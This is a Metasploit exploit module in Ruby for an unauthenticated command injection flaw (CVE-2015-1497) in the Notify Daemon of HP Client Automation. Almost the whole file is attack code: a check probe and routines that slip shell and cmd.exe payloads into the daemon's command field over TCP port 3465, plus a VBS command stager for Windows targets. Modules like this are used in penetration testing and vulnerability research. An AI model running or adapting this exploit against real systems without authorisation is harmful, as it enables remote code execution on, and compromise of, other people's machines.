##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Client Automation Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability on HP Client Automation, distributed
        actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
        Daemon (radexecd.exe), which doesn't authenticate execution requests by default.

        This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2
        and CentOS 5.
      },
      'Author'         =>
        [
          'Ben Turner', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-1497'],
          ['ZDI', '15-038'],
          ['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
        ],
      'Privileged'     => true,
      'Platform'       => %w{ unix win },
      'DefaultOptions' =>
        {
            'WfsDelay' => 10
        },
      'Payload'        => {'DisableNops' => true},
      'Targets'        =>
        [
          [ 'HP Client Automation 9.0.0 / Linux',
            {
              'Platform' => 'unix',
              'Arch'     => ARCH_CMD,
              'Payload'  =>
                {
                  'Space'       => 466,
                  'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
                  'Compat'      =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'openssl telnet generic gawk'
                    },
                  'BadChars' => "\x27"
                }
            }
          ],
          [ 'HP Client Automation 9.0.0 / Windows',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_X86
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 02 2014'))

    register_options(
      [
        Opt::RPORT(3465)
      ])

    deregister_options('CMDSTAGER::FLAVOR')
    deregister_options('CMDSTAGER::DECODER')
  end

  def check
    connect
    sock.put("\x00") # port
    sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
    sock.put("hide\x00") # command
    res = sock.get_once
    disconnect

    if res && res.unpack('C')[0] == 0
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    case target['Platform']
    when 'win'
      print_status('Exploiting Windows target...')
      execute_cmdstager({:flavor => :vbs, :linemax => 290})
    when 'unix'
      print_status('Exploiting Linux target...')
      exploit_unix
    else
      fail_with(Failure::NoTarget, 'Invalid target')
    end
  end

  def exploit_unix
    connect
    sock.put("\x00") # port
    sock.put("0\x00") # user ID
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
    sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
    disconnect
  end

  def execute_command(cmd, opts = {})
    connect
    sock.put("\x00") # port
    sock.put("S-1-5-18\x00") # user ID
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
    sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
    res = sock.get_once
    disconnect
    unless res && res.unpack('C')[0] == 0
      fail_with(Failure::Unknown, "Something failed executing the stager...")
    end
  end
end
